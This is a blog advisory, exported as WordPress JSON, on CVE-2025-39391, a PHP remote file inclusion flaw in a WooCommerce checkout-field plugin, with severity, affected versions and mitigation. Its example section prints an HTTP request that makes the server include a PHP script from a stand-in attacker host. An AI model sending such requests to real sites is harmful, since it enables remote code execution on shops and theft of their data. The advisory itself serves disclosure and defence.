{"id":86256,"date":"2026-01-11T05:25:41","date_gmt":"2026-01-11T05:25:41","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-39391-php-remote-file-inclusion-vulnerability-in-woocommerce-checkout-field-visibility-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39391-php-remote-file-inclusion-vulnerability-in-woocommerce-checkout-field-visibility-plugin\/","title":{"rendered":"<strong>CVE-2025-39391: PHP Remote File Inclusion Vulnerability in WooCommerce Checkout Field Visibility Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability, identified as CVE-2025-39391, pertains to an Improper Control of Filename for Include\/Require Statement in PHP Program (&#8216;PHP Remote File Inclusion&#8217;) vulnerability in the Checkout Field Visibility for WooCommerce plugin. This vulnerability can lead to PHP Local File Inclusion, affecting all versions of the plugin up to 1.2.3. Given the widespread use of WooCommerce, this vulnerability has the potential to compromise a significant number of e-commerce websites, leading to system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39391<br \/>\nSeverity: High (CVSS: 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise and potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-311337187\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Checkout Field Visibility for WooCommerce | n\/a to 1.2.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit relies on the improper control of filename for include\/require statements in PHP programs in the Checkout Field Visibility for WooCommerce plugin. This vulnerability allows an attacker to remotely include files from external servers, which could lead to the execution of arbitrary PHP code on the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2495903468\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>In a conceptual example, an attacker might exploit the vulnerability through an HTTP POST request like the following:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/checkout-field-visibility-for-woocommerce\/vulnerable.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\ninclude_file=http:\/\/attacker.example.com\/malicious_script.php<\/code><\/pre>\n<p>In this case, the attacker is attempting to include the file &#8216;malicious_script.php&#8217; from their own server. If successful, the server would then execute the malicious PHP code contained in this file.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Users are strongly advised to apply the latest patch from the vendor as soon as possible. Until the patch can be applied, a web application firewall (WAF) or intrusion detection system (IDS) could be used as temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability, identified as CVE-2025-39391, pertains to an Improper Control of Filename for Include\/Require Statement in PHP Program (&#8216;PHP Remote File Inclusion&#8217;) vulnerability in the Checkout Field Visibility for WooCommerce plugin. This vulnerability can lead to PHP Local File Inclusion, affecting all versions of the plugin up to 1.2.3. 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